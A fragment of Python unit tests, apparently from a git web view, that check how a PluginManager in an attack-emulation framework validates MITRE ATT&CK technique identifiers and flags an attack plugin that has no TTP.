def test_basic_pluginmanager_check_ttp_is_detailed_ttp(self):
|
||||
""" ttp check with T1234.123 """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/basics/vul_no_ttp/*.py")
|
||||
self.assertEqual(p.is_ttp_wrong("T1234.123"), False)
|
||||
|
||||
def test_basic_pluginmanager_check_ttp_is_unknown_ttp(self):
|
||||
""" ttp check with ??? """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/basics/vul_no_ttp/*.py")
|
||||
self.assertEqual(p.is_ttp_wrong("???"), False)
|
||||
|
||||
def test_basic_pluginmanager_check_ttp_is_multiple(self):
|
||||
""" ttp check with ??? """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/basics/vul_no_ttp/*.py")
|
||||
self.assertEqual(p.is_ttp_wrong("multiple"), False)
|
||||
|
||||
def test_basic_pluginmanager_check_ttp_is_wrong_ttp(self):
|
||||
""" ttp check with something else """
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/basics/vul_no_ttp/*.py")
|
||||
self.assertEqual(p.is_ttp_wrong("this is not gonna work"), True)
|
||||
|
||||
def test_basic_pluginmanager_check_attack_plugin_missing_ttp(self):
|
||||
""" a attack plugin with missing name should throw an error on check"""
|
||||
p = PluginManager(self.attack_logger, "tests/plugins/basics/attack_no_ttp/*.py")
|
||||
plugins = p.get_plugins(AttackPlugin)
|
||||
c = p.check(plugins[0])
|
||||
self.assertEqual(len(c), 1)
|
||||
self.assertRegex(c[0], "Attack plugins need a valid ttp number \\(either T1234, T1234.222 or ...\\) no TTP uses None in .*")
|
Loading…
Reference in New Issue